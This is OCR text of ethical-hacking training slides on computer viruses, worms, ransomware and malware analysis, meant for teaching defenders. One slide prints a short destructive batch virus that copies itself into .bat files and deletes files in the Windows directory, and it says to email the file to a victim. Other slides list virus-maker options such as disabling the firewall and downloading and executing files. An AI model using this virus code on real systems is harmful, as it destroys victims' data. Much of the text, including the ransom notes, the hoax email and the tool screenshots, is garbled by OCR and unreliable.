Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Working of Viruses: Infection
Phase

Infection '/ d In the infection phase, the virus replicates itself
Fhase J ; and attaches to an .exe file in the system

Before Infection After Infection

.EXE File .EXE File

[ ]

File Header File Header

5

> Start of Program — ' 1=sssesB Start of Program IHE

End of P
End of Program biilesaie st

Virus Infected
File

Clean File s R i Jump €-eqeeane
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Working of Viruses: Attack
Phase

Viruses are programmed with trigger events to activate and corrupt systems

Some viruses infect each time they are run and others infect only when a
certain predefined condition is met such as a user’s specific task , a day, time,
or a particular event

Unfragmented File Before Attack
File: A File: B
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Why Do People Create Computer

Viruses

% Inflict damage
to competitors

e

7 Research 7

— Play prank

Cyber
terrorism

T e

Financial
benefits

PR NS

V¥’ vandalism

Distribute
political messages




Indications of Virus Attack

Processes take
more resources
and time

Computer slows
down when
programs start

Computer freezes
frequently or
encounters error

Computer
beeps with
no display

Filez and
folders are
missing

Drive label
changes

Hard drive
is accessed
often

Unable to
load
Operating
system

Anti-virus
alerts

Browser
window
"freezes"

C|EH

Coriifbed B Ethical Hachar

Abnormal Activities

If the system acts in an
unprecedented manner, you
can suspect a virus attack

-

False Positives

However, not all glitches can
be attributed to virus attacks

Copyright @ by EC-Gouncll. All Rights Recerved. Reproduction is Strictly Prohibited.




How does a Computer Get

C|EH

Infected by Viruses sl i

When a user accepts files and downloads without checking
properly for the source

Opening infected e-mail attachments

Installing pirated software

Not updating and not installing new versions of plug-ins

Not running the latest anti-virus application
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Virus Hoaxes and Fake
Antiviruses

s are false alarms claiming reports
a non-existing virus which may
ain virus attachments

Once installed these fake antiviruses
can damage target systems similar to
other malwares

.\..:I=H"ﬂ"l-fl'

[ e
|y

| T o .
| eapet Forwand iy warning amang frends, family, snd contecrs

PLEASE FORWAST Tres WARRING AMONG FRFEMLYS, FANSLY ARD CONTACTS ) Fou should Be abert during [ ] == [=rm
Thap e oy dars Do redd Opsen Ay Mk with an sttachmant eotithed "POSTCARD FROM BEHNG or T et o Trwa Dk e T
"REHGNATION OF BARACK QBAM A regardiess of wwhos sent it oo youw 11 b s vious thag cpenas i { T amieponr WL bmplac T e Qe e =
POSTCARDY |WWGE, ther Burna" the whole hind © e of your compuber - HnT; Fymesra din AT Grariami sy
| L pie I e - ol i
This. s thee worst viinas annowncad by OHM LAf ovening 1t has been clasificd by MBcrosoft 2t the most | : . - :;‘: :‘ﬂ":‘_ o ::1::_":2_::_:

Seatruactive wina sver, TRawirus wid disoosened by Meades yeerday, o thens s na epair yet far this] : ey W] g £ T i ot afen feriraier
| & P St i TRl et e

I'I nd of #e |
£ . e Tl T Eral T o

e e b B gt i 8
[T e b e T e
a17 Pt [ A ——

s vinassimply desroys the Zero Secios of the HMard Db, wisere the vital infarmation & ket

COPY THIS E-MAIL, ANDSERD [T TD YOUR FRERDS REMEMEE R IF YOUSEND IT TD THENL ¥OLIWILL

BIsLEIT ALL OF LS

End.of-mail
Thaitks
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Ransomware

Ransomware is a type of a malware
which restricts access to the
computer system’s files and folders
and demands an online ransom
payment to the malware creator(s)
in order to remove the restrictions

Ransomware Family

Cryptorbit Ransomware
CryptoLocker Ransomware
CryptoDefense Ransomware
CryptoWall Ransomware

Police-themed Ransomware

Your fas are encrypted
T et the loey i decrypt fles yau hiree o pay 5500 USCUELUR B payorent 1 rol made belors 3206784 - 01:83 the cost of
dhecrypling M s wil g noass T Benes and will B 1050 UEDELUR

Prioe 1o incressing the s left

118h 5Tm 183
moeLl h veuszeescr P ets ecrptes 31 was

_ Hehruaf | Vrymes |:i ‘=J1 Discryped 1 Mile dar FREE | Support

W s rannnd 3 Epacial ssbwaes - Crypl ol Chscmpene - wherh i o (s decryd e st conernd to ol par encryped Sas
tiow i Ly ErypichWall decrypiss 1

Obitcoin

T Pitchasisg Beirodm - Alfosgh M sol yol eey 1o bey bioclm, 55 peiing s e seery dey.

Mary 2re DOT neCoTTIenfa o
+ Colnm - Recommasdesd tor e, gimpls service, Takes Crodin Canl, Deba Cass, 50N, Win

- pi - Savece sbaws pre 53 aaech e peaple m o cotrndy sk bE sell B iz pe desct)
Arpihar dal way 12 By B
Ay B Ciib
- A0 eematans dosciary of doom sochangen
B En kF A
¥ - Combin slkrers dhiwcd Sicon purchaies o (P il g

G - Dpl ib 3 ek CAEY JaTRER] A 53 puliy Pl Bl Caverely

wak Sty CORMATRE

B Seadl 000 OTC o Bcols afdieda; Ve iommaoel A00GreBl HESMOE RGGILTRE Dot GR conl

L Covees v Tommnanidons 1B ared werbes srnesnic
i o
| CE

L
Hela: Triwis aien G - row s Pried o Swiiied oo GEculBarddalion v el
it BAT i S all TS S 2 Frd 3000 | Bl Tod T

Your sam arafs

reraber or basaachn O

0 et cmtts s ek, B fadi| vl o O LUSINELIR. Ths sl ol &5 500 USDVELIR

CryptoWall Ransomware
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Ransomware

(Cont’d)

YOUR PERSONAL FILES ARE ENCRYPTED

Al Fida s including widecs, photos and doouments, st on your
complber are encrypled,

Encryphion ws produced using & unique publhc key generated
For this computer. To decrypl Hes, you nesd ba obtan he
private key

The single copy of the private key, which will alow you to decrypt
the Files, located on a secret server on the Interrat; the server
will destroy the key after a time specilied in bhis
window. After that, nobody and never vl be able to restore
filme

In order to decrypk the fles, apen site
4sfuctgpSdimbvzk.oninntoindescphp and Folow the
FEtrucicre.

[F 4sFectgpSTimivzk.onion.to & not operang, please folow the
steps below!

1. 'woia reiest howrdioad s inestadl Ehis beowser

http://wens. torproject.org /projects terbrowser. hbmlen
£ After nztalgtion, run the browser and enter the address;
dsfuctgpSAimlvek onion/index.php

3. Follows the nstruckions on the welb-sibe. We remind you that
the: sconer you da, the more chanoes ane left bo recover the files,

sandiant U, 5.4, Cyber Securfty
FBL. Department of Defense }
US54, Cyber Crime Conter
Rarnpiriag jima 4758 4]
CIEEE & Monesom
ST L e

aTTEHTIO]

e computes has bean Hecked wp for 26fety rans
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Ransomware

(Cont’d)

OocTyn 8 eHTepHET 1EM0OIPORIH B CHATN © HADYUIRHASY
AMUESHIHAHHGIE £olNANAHKA NPGrp Ml UFast Download Managar
Bk HeabyondMe ATHEHAOBATE DALY KoM

04:27

STolnl (0 My T PerHCTRALAGH IFkif K0T OTIPENLTE CMC
o eomon P 004158 va momep 7122

B OTRAT Bkl NONY9HTE CoaBUsRHNES € K0/00W AKTHE SLEEN

@aun on w3 ovoaron ove [N TN

R A

FBI

DIVISION

WA INTERNET SURVEILANCE PROGRAM

SM

COMPUTER (FIME PROSECUTION SECTION

©® YOUR COMPUTER HAS BEEN LOCKED! @

i Savwnioading arad diitribution,

our camputer has been lockoed due Lo wuagricion of illagal cos

S| AR A Sl Lt
e w8 b LSt B el ot
Thum f may b o wethat prapsction
s swsg el il b b ki sl amateally

1 G i railes e BRUMTION in b sbarri iaaLigiad way
el Uil pry 8 B § 300

6 MoneyPak

E - Crchargs your cuh for 5 Soray® s reucher aod we
A o cmesber code b= bag fere malse
O b0k 1 FRoE
Attt Coda |
B
i Wl BT 1 B
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Types of Viruses

System or Stealth Virus/ . : ool o
Boot Sector Tunneling ncryption olymorphic

Virunes Virus Virus Virus

File
Viruses

Multipartite
Virus

What Do They Infect?

Metameorphic
Virus

Direct Action
or Transient
Virus

HaCkRhInO-TeaM

CEH

Cortified B Ethical Hschar

Overwriting
File or Cavity
Virus

File Extension
Virus

Terminate and
Stay Resident
Virus (TSR)
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System orx Boot Sector Viruses

J Boot sector virus moves MBR to another location on the hard disk and
copies itself to the original location of MBR

J When system boots, virus code is executed first and then control is passed

: to original MBR
66 | A6

ve Before Infection v @

LA After Infection

<«—Virus Code——>
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File and Multipartite Viruses | C|EH

Cowilfied § Exhiesl Hozher

File Viruses - = Multipartite Virus

4  File viruses infect files which are ' - - J  Multipartite viruses infect the system
executed or interpreted in the system boot sector and the executable files
such as COM, EXE, 5YS, OVL, OBJ, PRG, ' at the same time
MMNU and BAT files

=
File viruses can be either direct-action |/ .*:?
(non-resident) or memory-resident —
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IVIacro Viruses

Most macro viruses are written using macro language Visual Basic for
Applications (VBA)

Macro viruses infect templates or convert infected documents into template
files, while maintaining their appearance of ordinary document files

Infects Macro Enabled Documents

Attacker
Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Cluster Viruses

Cluster viruses modify directory table entries so that it points users
or system processes to the virus code instead of the actual program

There is only one copy of the virus on the disk infecting all the
programs in the computer system

It will launch itself first when any program on the computer system
is started and then the control is passed to actual program

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Stealth/Tunneling Viruses

These viruses evade the anti-virus software by intercepting its requests to
the operating system

A virus can hide itself by intercepting the anti-virus software’s request to read
the file and passing the request to the virus, instead of the OS

The virus can then return an uninfected version of the file to the anti-virus
software, so that it appears as if the file is "clean”

Give me the system
file tcpip.sys to scan Hides Infected TCPIP.SYS a L
SESAES SSRGS RS SRS SRR FESESSREESSEEINSEREannnnannnnnnniannaale Iy
. ol

e e R R A

Anti-virus Software
n

Here you go "., ,|'
Original TCPIP.SYS
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Encryption Viruses

Virus Code

.
- ¥y

The virus is encrypted with
a different key for each
infected file

Encryption key 1
Encryption key 2
Encryption key 3

Encryption Encryption Encryption
Virus 1 Virus 2 Virus 3
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Polymorphic Code

J  Polymorphic code is a code that mutates while keeping the original
algorithm intact

J To enable polymorphic code, the virus has to have a polymorphic
engine (also called mutating engine or mutation engine

J A well-written polymorphic virus therefore has no parts that stay
the same on each infection

-
SEEETERSAREEEEEE

routine decrypts
virus code and
mutation engine

Virus encrypts itself
with new key

New Polymorphic
Virus Does the Damage Virus

User Runs an Infected Program
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Metamorphic Viruses

He' amorphic Viruses

Metamorphic viruses
rewrite themselves
completely each time they
are to infect new
executable

Variant 1

H etamorphic Code

Metamorphic code can
reprogram itself by
translating its own code into
a temporary representation
and then back to the normal
code again

For example, W32/Simile
consisted of over 14000
lines of assembly code,
90% of it is part of the
metamorphic engine

5 '|'

S

Variant 2

Variant 3

This diagram depicts metamorphic malware variants with

_ ...... > Metamorphic Engine
recorded code
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File Overwriting or Cavity Viruses (|EH

Coriifbed B Ethical Hachar

Cavity Virus overwrites a part of the host file that is with a constant (usually nulls),
without increasing the length of the file and preserving its functionality

Content in the file before infection Content in the file after infection

Sales and marketing management is the Null Null Null Null Null

leading authority for executives in the sales Null Null Null Null Null
Null Null Null Null Null

and marketing management industries. 11 Full Wall Noll Null
The suspect, Desmond Turner, surrendered Null Null Null Null Null

to authorities at a downtown Indianapolis Null Null Null Null
fast-food restaurant Null Null Null Null

LA L L LR LR LR L LR R LR R I-lﬂ-‘.-ll-l}

FDF

Original File Infected File
Size: 45 KB Size: 45 KB
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Sparse Infector Viruses

By infecting less often, such viruses try to minimize : Difficult
the probability of being discovered . to Detect
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Companion/Camouflage Viruses

A Companion virus creates a companion file for each executable
file the virus infects

Therefore, a companion virus may save itself as notepad.com and
every time a user executes notepad.exe (good program), the
computer will load notepad.com (virus) and infect the system

Virus infects the system with
a file notepad.com and saves
it in c\winnt\system32 directory

EE 3

Attacker Motepad.exe
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Shell Viruses CEH

Coriifbed B Ethical Hachar

-~ around the target host program’s code

- all boot program viruses are shell viruses

Before Infection

<« —_—

After Infection

FLL TR R LR TN RN RN

o Wirus Code = —
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File Extension Viruses

File extension viruses change the extensions of
files General | View | Search

Falder views

You can apply this view (such as Delails or lcons) to
all folders of this type.

TXT is safe as it indicates a pure text file oo

Z i i Advanced settings:
With extensions turned off, if someone sends you a T
i Y [ ] Atways show menus-OFF

file named BAD.TXT.VBS, you will only see BAD.TXT [#] Display file icon on thumbnais ON

[#] Display file size information in folder tips ON

[] Display the full path in the title bar-OFF

. Hidden files and folders

If you have forgotten that extensions are turned @ Dont show hidden fles, folders, or ciives ON

off, you might think this is a text file and open it (0) Show hidden files, folders, and drves-OFF
(o] Hide emoby divesO8

[ Hde extensions for known e types OFF |
e : = - i [«f] Hide Talder menge conthcts-UN
This is an executable Visual Basic Script virus 9] Hicke sohictod tpanivng syatses Sles: (RoconmendsdhOr 2

file and could do serious damage

Countermeasure is to turn off “Hide file
extensions” in Windows
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Add-on and Intrusive Viruses

Add-on . Add-on viruses append their code to the host code without making any changes
Viruses to the latter or relocate the host code to insert their own code at the beginning

bl - '._.-.1-:-:»_r..'i:.-:- i i

— e St

SEEEEEEEEEENEEENENE

Intrusive viruses overwrite the host code partly or completely with the L Intrusive
viralcode ¥ Viruses
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Transient and Terminate and
Stay Resident Viruses

Basic Infection Techniques

Transfers all the controls of the host code
to where it resides in the memory

The virus runs when the host code is run
and terminates itself or exits memory as
soon as the host code execution ends

4 Remains permanently in the memory
during the entire work session even
after the target host’s program is
executed and terminated; can be
removed only by rebooting the system
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Writing a Simple Virus Program C|EH

Cortified B Ethical Hschar

Send the Game.com file as an
email attachment to a victim

(AR R E RS R R RS S N

F 3
-
-
L
.
.
.
-
—

R ] 4 PERR AR R

@ echo off -
for %%f in (*.bat) do
copy %%f + Game.bat
del c:\Windows\*_*

. EEEER ST RN t J

l'iii“-#‘-#-

When run, it copies itself to all
the .bat files in the current
directory and deletes all the files
in the Windows directory

Convert the Game.bat batch
file to Game.com using

' ﬁf bat2com utility

=M
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Sam’s Virus Generator and
JPS Virus Maker

@ ©

Sam’s Virus Generator

; abda Media Paker
Ram's Vs Generator w202 [ Diisable Intemel E sploies el Tasks n Taskmgr
|-'_] Ciabda Tene D Hede Bun

M @ Dis.blers m e i D ':I‘E‘.IHE E:q;rtu-‘ [a:‘-..j“

r Fanny Bembers

C Dirve Cverlnader ?ﬂ:\'l :p Flrmbhar

L] "r.nti!l r-ﬁ!'l M
Your Virus Bty Cia b

[ Tesminats Windcw:

[ Hade Ciirsor

mi u...:tl- Scresn Saver [ Ao Startup

) Restast O Lo O Tum OF ) Hivnale

drass Call ATl 'bat To 3 :
Ovpen Ue Viras Mame After Instal: |Rundi32
Infect All Drrives
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Andreinick05's Batch Virus Maker
and DeadLine’s Virus Maker

HaCkRhInO-TeaM HaCkRhInO-TeaM

CEH

ﬂmuaaaamm Maker v 4

,M Infe-::lms Duietlng & Other Suff | m [ m [ Mﬂl

| Dissble Kevboard | | Disabie Mouse | | Disable intemet

| SwapMouse Bin | | ifect RARfles | | Infect BATHies

| infect"is”CMD | | lnfect All Folders | | Infect Autoexec

Run Az Service

sndreinick05's Batch Vs Maker viid

[x]

[x]

| Buid | Infectons. Deleting & Other Suff | Options | Securty | Spam Ki|

J
|
|
|
|
|

Andreinick05's Batch Virus Maker

HaCkRhInO-TeaM

Startup setftings
Show messagebox on startup

Add to startup

Other oplions
CloseWindows Live Messenger
Close Skype
Close Yahoo Messenger
Random things will happen
Disable mouse
Force shutdown
Force restart
Crazy cddrive
Kill every process
Disable calculator
Disable meconfig
Disable \Windows Media Player

fmll-.l Eshical Macker

Options
Infinite beeping
Infinite messageboxes
Disconnect from the internet
Visit random url et random time
Disable firewall
Disable FireFax
Disable Chrome
Disable Internet Explorer
Open random files
Disable taskmanager
Disable CMD
Dizable regadit
Disable explorer
Random mouse movement
Random keyboard keys pressed
Slow computer
Delete cliphoard text
Disable notepad

DeadlLine’s Virus Maker

/dé’ krlpt/ by HaCthInO TeaM
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Sonic Bat - Batch File Virus
Creator and Poison Virus Maker

Sonic Bat - Batch File
Virus Creator

Eamf-

‘M r"h Fnu Ve

Change Log On T'asewor

The Bffect is Mot Permenart, T —

Eoets meiedoock en | | |
you nestan your computer
! Li0e
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Computer Worms

Computer worms are malicious programs
execute, and spread across the networl
independently without human interaction

rms are created only to replicate and
3s a network, consuming available computing 2
ever, some worms carry a payload to

Attackers use worm payload to install :
infected computers, which turns them
and creates botnet; these botnets can b
carry further cyber attacks
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How is a Worm Different from
aVirus?

Spreads through the
Infected Network |

Replicates on its own

A worm takes
advantage of file or
information transport
features on computer
systems and spreads
through the infected
network automatically
but a virus does not

A worm is a special
type of malware that
can replicate itself
and use memory, but
cannot attach itself to
other programs
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Computer Worms: Ghost Eye Worm m

Ghost Eye worm is a hacking program that spreads random messages on Facebook or steam or
chat websites to get the password

Ghost Eye - Worm - Codded By Hisoka Ismael

Status I‘:-m*m@:ed Ghost Eye Official Facebook :

Welcome Guest | “'\k- Ghost Eye Official Website For Updates

Downloader/Stub | Path Tools | Spreaders | Buid | Fake Emor Message | Assembly Changer | About

Worm Downdoader

Direct Download Link

B Change leon
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Worm Maker: Internet Worm
Maker Thing

[

—
|

[ Irachede [C] MoBos
Chssput Path:
fen

[ Compds T EXE Supgert

Epreacing Oobons

Sharfun:

[T Global Registry Starup
Local Regsry Starp
Wiriogon Sl Hook

 Start A Senvoe
Englch Startup

[T German Skt
Soarash SEar D
French St

" Tinkan Starhug

Intermet Worm Maker Thing - Version 4.00 :- Public Edition

Aertivabe Pargloads On Date
Dasy:
il =]
R
™ Bandemby dctivebe Payiosds
Charwe of activating paykoads:
1N OHANCE
™ Hde Al Deves
™ Disable Task HManager
[T Duabls Kaybord
[~ Desable Mouse
[T Eesssgs Box
Tiges

— [Demable Windows Sacurity
" Disable Norton Sequnty
Urinsiall Morion Sopt Boddng
Di=abis Magre Sacurily
Demabie P Commng
Cisabie Shiadomn
Disable Logedf
Deable Windows Uodase
" Mo Search Commanid
Swrap Moums Buthors
[T Dpen Wlebpage
LFL:

Fuie Speskers
I~ Change IE Titke Bar

Text:

I Delete aFie
Pagh:

g

Thange Tin Madia layer Tl
Text:

Dt s Frodder

I Open Cd Drives
I Lodk Wk bation
I Download Fie Mm:]
Ao - Sl

Save Ao

I~ Execute Dovwnloaded

Lot Sl

Fide Deskiop

Cipabig Makvara
Semone

Otsaile Windowes
i Frulo bk
Cornupt Anbvins

Chiaviya Cormgulie

T

I
ihmin Lokt L

[T Bue Screen OF Death

[rfecion OpSons;

[T Infect st Fies

[T Infect Vi Files

[ Infect Vb= Files

Ewiras:

™ Hde Wirus Fles
Plrigns

[T Cusiom Code

[T Changa Deive Feon

DLy, EXE, 100K

Ircleac:

[~ Add To Context Menu

Crange: Chock Text

Text Plax § Chars):

|
r

1F Yiges Lkt This Pragras Pladse
visit Me Ory

FrivD:fharuateam . falerre Ttk oo
1F Yo Knew Anrpthing About VES

B e e Hosipn Sugppeenr § Thi
Project By Making A Phugn {Sez
Seadme], Thanks

- Contred Pand

[T Kevboard Disco
[ Al T Baunetbes
s

iz

JRL:

T e Fpmn
i i

|
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. What is Sheep Dip Computer?

w Sheep dipping refers to the analysis of suspect files, incoming messages, etc. for malware

w A sheep dip computer is installed with port monitors, file monitors, network monitors and
antivirus software and connects to a network only under strictly controlled conditions

Run device driver
and file monitors

Run user, group permission
and process monitors

Run registry
and kernel monitors

Run port and
network monitors
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Anti-Virus Sensor Systems

® Anti-virus sensor system is a collection of computer software that detects and analyzes
malicious code threats such as viruses, worms, and Trojans. They are used along with
sheep dip computers

Anti-Virus System

System 2 Anti-Virus

S LTI TR PL TP

Allowed 3 —
Traffic : ! ol

Anti-Trojan Anti-Spamware ?
“¥ Traffic

Internet

]

(8 \_s

Anti-Phishing Email-Scanner
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Malware Analysis Procedure:
Preparing Testbed

C|EH

Ethical Hachar

Isolate the system from the Disable the ‘shared
network by ensuring that the folders’, and the Copy the malware
NIC card is in “host only” mode  ‘guest isolation’ over to the guest 0OS

* L |
1 i i

Install guest OS into Install Virtual machine (VMware,
the Virtual machine Hyper-V, etc.) on the system
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. Malware Analysis Procedure

Perform static analysis when the malware is inactive

Collect information about:
@ String values found in the binary with the help of string extracting tools such as BinText

@ The packaging and compressing technique used with the help of compression and
decomnressinn tonls such as LIPX

. -
V a*f'-
Sk |Fam | Hatp |

éc F |} -.1!:':g':}"'.~': sPaEWDesktopupx 3 lwsupx 3Tl aupx . exe

File Loy sean ! Vwmckowes\ S yshen el G e g ol mas

1 Torves tadomn s OUOMHD emct Tl mmec T bpbees (DT 2]
‘ Fio o T " T NEr T Msage: upx [-123456707d1ehlL] [-gufK] [0 Filel File
| A OO IThiz progeam camnol be neom DIOS mods
| 2 poooonoomED 1000ME 51 ommands :
A (0000001 TEAL PADDAH E--FADDINGPADDENGPAD DIMGF; | . ke i

L COOCOCCNSED  Cn0aCaD (T 0 el GR | deco n i File
L OO0y OO0 (T T "Wirsdowss Inhaliol i 413 } nd File U lay zion numher
| COOODOCOEF 1S D000 D00ED 13 ¥ Wirsdow r F
U DOOO0OOY TADE | 000N DO EE0E L WE_VERSIOMN_INFO
L DOODOTI TR D000 D& StringFilelrio

L DOODOOCT TGS 0000 Q0N &35 ¥ D40s0L80 i 'PILE*
| OOD0OO TREE 000 DONESE Cioanparhlan i < O T

L0 UUKRER I LA e Micicantt L oipoiabon o sugpicious Filas
L QOODODTTTEEA D007 00 B Fieltescrption ~ ¥

LI DODODDTITREC  OOOM OIHESEC Instalies Itnationsl Message:

L DODODOITCIE D000 O0MEs3s i Fleamsion

< [ype "upx —help’ For more detailed help.

=y he verbose

Feeady F | i ¥ comes with ABSOLUTELY HO WARRAMTIY: for details wvisit hetp: s u

http:/fwww.mcafee.com http.//upx.sourceforge.net
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Malware Analysis Procedure
(Cont’d)

3. Set up network connection and check that it is not giving any errors :
4. Run the virus and monitor the process actions and system information with the l( JH[ 35]

help of process monitoring tools such as Process Monitor and Process Explorer

Process Monitor

File Edit Event Filter Tools Options Help
on = 5 i .
eH ARE  TAS® | B A8 HBALIME
Time of Day Process Name PID Opesation Path Resul

3:48:10.3413976 PM jiSearchindexer.. 3080 BhFieSystemContol  C SUCCESS  Control: FSCTL_R
3:48:10.3414358 PM . Searchindexer. . 3080 ShReadFie C\Windows'\System32\mssech di SUCCESS  Offset: 1,086 464,

348:10.3414708 PM § [lsnagitediorexe 4004 ShMotfyChangeDirectory C\ SUCCESS  Fiter FILE_NOTIF
3:48:10.3502152 PM . Searchindexer . 3080 S\ ReadFie C\Windows' System 32\masrch di SUCCESS  Offset: 1086464

3:48:10.3508007 PM i Searchindexer.... 3080 BhFieSystemContol  C SUCCESS  Control: FSCTL_R.
3:48:10.6210848 PM & chrome exe 1132 S WrteTile C:\Users\PGE\Aop Data'\Local\Google . SUCCESS  Offsat: 5,013,248,

348106211414 PM @ chrome.exe 1132 ShWrteFile C\Users\PGE\AppDiata'local\Google SUCCESS  Offset: 276,284, Le
348106211629 PM & chrome.exe 1132 ShReadFile C:\WUsers\PGE\AppData'Local\Google. . SUCCESS  Offset: 276,248, Le
3:48:10.6212526 PM &) chrome exe 1132 A WrteFie C:\Users\PGE\AppData'Local\Google.. SUCCESS  Offset: 276,248, Le
3:48:10.6212777 PM & chrome exe 1132 S WriteFie Ch\Ugers"\PGEAppData'Local\Google... SUCCESS Offeat: 276 284, La
3:48:10.6360691 PM (& chrome exe 1132 44 TCP Send prashant 6297 > 12317632 19Mtps  SUCCESS  Length: 1068, start
3:48:10.6360329 PM & chrome axe 1132 &h TCP TCPCopy prashant 6297 -> 123.176.32.19Htps  SUCCESS Lengh: 366, seqn... ¥
€ >

Showing 736,350 of 2,053,299 events (36%) Backed by virtual memory

http://technet.microsaft.com
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Malware Analysis Procedure
(Cont’d)

NetResident

Record network . _
Lo ¥ File Search View Events Toels Help
traffic information All Date

using the Events
connectivity and log | oves v Refvesh | 9 Fines - | 52 bost ais | ] save~ 3% Delte |5 Evant Dot

Groups Count | Date = Last Updeted Protocol  Party & Paort & Paty B
packet content - @I owes W+ 220204 516 2GR0 S1654 D Vi rt] (086 Imasih D
: . [ [ zrasrznns 42 LA 2NA B, JOIE2014 2050 g Web  emmant] [or [125.178321.
monitoring tools ¢ [F]e} Protocols 1 o 20 SR. W45 g Web  [emlant] G837 [hgein-fI0.
G £ [F] 5 Party A 1)) 5 IR0 22452140, G Web  fpesent] gaas [hg-in-F103.
such as NetResident & [ 5 Party B s PROEN.. ME0M5IH. G Web  [esan] £a80 [rnaalidz16-i. .
: S YHAAEN.. WM. G Web  emsem] [maalds1sei...
and TCPView 3 AMINE R M I :'ﬂ'h ——— [raaids16-i,..
L2004 A2 11 g Web | [rnaaldsig-i...
. f O AN 2. JORR20M4 S220E. g Web it ] S [123.776.32.1..,
Determine the files 2 HHGINA SRR, 2AEL2004 51206 g Web W] [123.476.32.0...
ORI SR, DML 52200, ) Web  pemiiant] [maabisif-..
added, processes WS, WMWK @Web  fgewant] T (maalislé.
IR0 SR, JAFAMNA G200, G Web  pesiiant] (12376320
SpawnEdJ and o NHGINASEE. LIS :m v wrart] [123.17632.)...
a HIRROMA NI, INIE SR Wan == [523-57-208- ..
changes to the PPN 5L, 2PRZ04 ERA. g Web  (jessibant] [223+57- 206

. . VA5, VANIERREL. (P Web  lpesient] [823-57-206-..
rEngtr‘f Wlt_h thE DR B2, LAAFNNA BRI g Web praatant! |ad3-57- 206-....
help of registry

monitoring tools Event Detail
such as RegShot

hal
0

3
m

EkxkEkEEbrEEEREEER
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e

http:/Swww.tomos.com
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Malware Analysis Procedure
(Cont’d)

Collect the following information using debugging tools such as
OllyDbg and ProcDump:

Service requests and DNS tables information

Attempts for incoming and outgoing connections

Bedx] o] vY B A <) ulisxw]n] el /8] Rlls] )

CPU - main thread, module ntdl| [= &
L -_I‘_-:i_ -l TSRS lLLD 1 E!i'l-bﬂ':l {FPUT

1EFF BBO2CE] | zennap. Chade leEsrrwPaing?
0 | SFFEG | Deennees|
SO1EFFFC  DedgHeeg |

o

I%ﬁhm everd ol rlel 7751DED - ve ShillF 7/FB/FS 10 pans sxception lo progeai [Paued

http/fwww. ollydbg.de
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Malware Analysis Tool: IDA Pro EH

Cortified B Ethical Hschar

Search View Debugger Optionis Windows Hep

Pl 0 |-'-'. L) Tem w

BEN:— || BT

I8 HewViewd | 3 Evports | B Impodts | M Hanes it Funchors | - Stngs | [ Stmuctwes | En Erums

H

A, Ltext:BB4O1630 BE OR c2 M e EC 83 Cu 1 3 M Disdr s a7
- JeatzBRLBT6LE 57 15 DA B8 B0 &6 E7 WHF§ - . F JES LG
¢ bt s BRLA1ASE KE BE BF EB 94 B0 D6 - AW TIFE . FIESY. L _GeEwcephilni

iy a4 500 SEEELE y Ly 4L BA BD 45 e E8 L el AET el £ 1
Y suby_4CN 50C toxt: 3 10 00 £R A4 LE 00 BB 0 ] L D __geiHinstance

subs_407 530 ClexkzBahi 1R D Fiy 45 FR BA B2 06 DA i Pl X L Sysint_irkpinc_ GefTla|woid]
| sub_ 40150 CJddextzpBoaen ca ME B0 BE 01 BE 0D L. ig0 F Wian
CEAli, texk: DBk ) WG 00 ER G0 BO D6 00 A1 C [ 8 £ I
g cbenkzBALB1GED BC 4E BB BB 15 2§ SR 2N TES[M.FH]L
e JtextzD 16010 ca ME BO BE OO BE 0D fedH. X X ooH.XEF ina & of 1346
’:—ﬁ;gf text z BREATEDD ME OO EW 30 BO B6 @0 A1 C ".H.III:..:I'J"-H.T'I'.'.I'
su_4d1 Lboxk BB TAE B Ll 4E DO BE 1% B4 SE &E -®M. T§EM.F TILC. Y - : : =
| sutn_ 408 Lbext BB 16F D ca ME BO BE DB ER BC E fe2M 1. FI3i.FJES Strings window Sl
" sub_A0TACS Jreut s aahay o g,_"l': ‘I!I% gg E; f‘; EM'!: #I’ﬁ l'-‘d ;l:.‘;'“;_:l:_:EUHFE Addears Lengih
suby_ 40 (D Lddextziahairio . P FlES:. Fit. e,

b AD1EAD CEextzOBAEITE BB 55 D4 &4 BY 15 00 BA AU aEg. ..._"[Is _ ;:ﬁ' m
'.nn-i-l:ﬂFH CEexk o BBLAYTT c2 Il Db B0 B8 Ad @A 1<t.i.--8.0E0. | I'.I'.I.
-m-‘.lZﬂFFk . tzmehaiTy Ta G5 7@ & 69 GF &E Exception &.0... / B
AT | LI [111] 0B FF FF FF FF B3 [.0. f...D.H. tet 0., DOODOTA
*ﬂ—’ﬁf Eewt : BBGAITER 60 A6 00 BB 06 99 A6 A et 0.
Hu_ (1]

gl T AT

* Functions _ - = e | 3 Hex View-A =@ =]| W Names window
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Semubly Ex
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3

5

* (g MRS Wenlain
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rainf] function ar <odék4. mamed “wirMain”

MArE (MY LYILE] LUUE L ELUSImES. ..

Flushing buffers,

File "€t ."Tl:\?!i.'! Files (NEE),1Da Freg\wingraphil.exe' 15 SuccessTully i =he database.

Compiling T1le "Ci\Program Files (w&6)\IDA Fres)idc\ida.idc™. ..

Executing funccion “main'...
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Executing Fumction ‘OrLoad’, ..
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pyright @ by EG-Gouncil. All Rights Rezerved. Reproduction is Strictly Prohibited.

HaCkRhIn0-TeaM /dé kript/ by HaCkRhInO-TeaM HaCkRhIn0O-TeaM




HaCkRhInO-TeaM

YOuR SeCuiTy iS NOt EnOUgh
wE FrEE t0 FIY

Online Malware Testing:
VirusTotal

VirusTotal is a free service
that analyzes suspicious files
and URLs and facilitates the
detection of viruses, wormes,
Trojans, etc.

W W Tl - Fogs Dnding v =

L K 0 hopswwanviresiotaloom

L]

t

oo hat anadyzes suspiciouy feg- 4

HaCkRhInO-TeaM

HaCkRhInO-TeaM

. Aeetified | Eshieal Hacher

http: /i mvw.w‘rustﬁfuf. com

€ 2 C f @ hups

(7 total
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CAT-QuickHgal HackTool PWDump (Bed & Vinug)
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Gormmigecn VHETeoimn. vJIT-0945

) Antirus acaen lor SdetTE ®
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Online Malware Analysis
Services

Anubis: Analyzing Unknown Metascan Online

Binaries ' http:/fwww.metascan-online.com
http:/fanubis.iseclab.org

Avast! Online Scanner 64N Bitdefender QuickScan
http://91.213.143.22 http:/fquickscan.bitdefender.com

Malware Protection Center I | UploadMalware.com
https: v microsoft.com ' http:/fwww. uploadmalware.com

ThreatExpert . Online Virus Scanner
http:/ v, threatexpert.com = http:/fwww fortiguard. com

Dr. Web Online Scanners . — ThreatAnalyzer
http./fvms. dnveb.com 3 http:/fwww. threattrocksecurity.com
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Trojan Analysis: Neverquest | C|EH

Coriifbed B Ethical Hachar

